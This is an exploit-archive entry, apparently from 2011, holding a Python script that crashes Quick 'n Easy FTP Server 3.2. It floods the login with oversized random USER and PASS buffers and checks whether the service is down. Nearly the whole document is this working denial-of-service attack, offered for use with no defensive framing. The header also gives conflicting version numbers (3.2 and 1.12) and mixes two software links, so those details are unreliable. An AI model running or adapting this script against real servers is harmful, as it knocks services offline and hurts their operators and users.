Quick n Easy FTP Server 3.2 - Denial of Service

# Exploit Title:[DOS LOGIN]  Quick 'n Easy FTP Server 3.2
# Date:28/2/2011
# Author: clshack
# Software Link:
http://www.pablosoftwaresolutions.com/html/quick__n_easy_ftp_server.html<http://downstairs.dnsalias.net/homeftpserver.html>
# Version:1.12
# Tested on: windows xp sp3 en
# CVE :

#!/usr/bin/python
from ftplib import *
import random
import socket
def ping(host,port):
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        connect=s.connect((host,port));
    except Exception ,e :
        print e
        return 0;
    s.close();
    return 1;

host = "192.168.1.155"
port = 21
buffer="";
while(len(buffer)<200000):
    buffer+=chr(int(random.uniform(0,255)))*2+"?";
    try:
        ftp=FTP();
        ftp.connect(host,port);
        ftp.sendcmd("USER "+buffer)
        ftp.sendcmd("PASS "+buffer)
        ftp.quit();
        ftp.close();
        sleep(int(random.uniform(0,2)))
    except Exception, e:
        print e
    if not ping(host,port):
        print "Dos in Login credentials \n"
        exit(-1)

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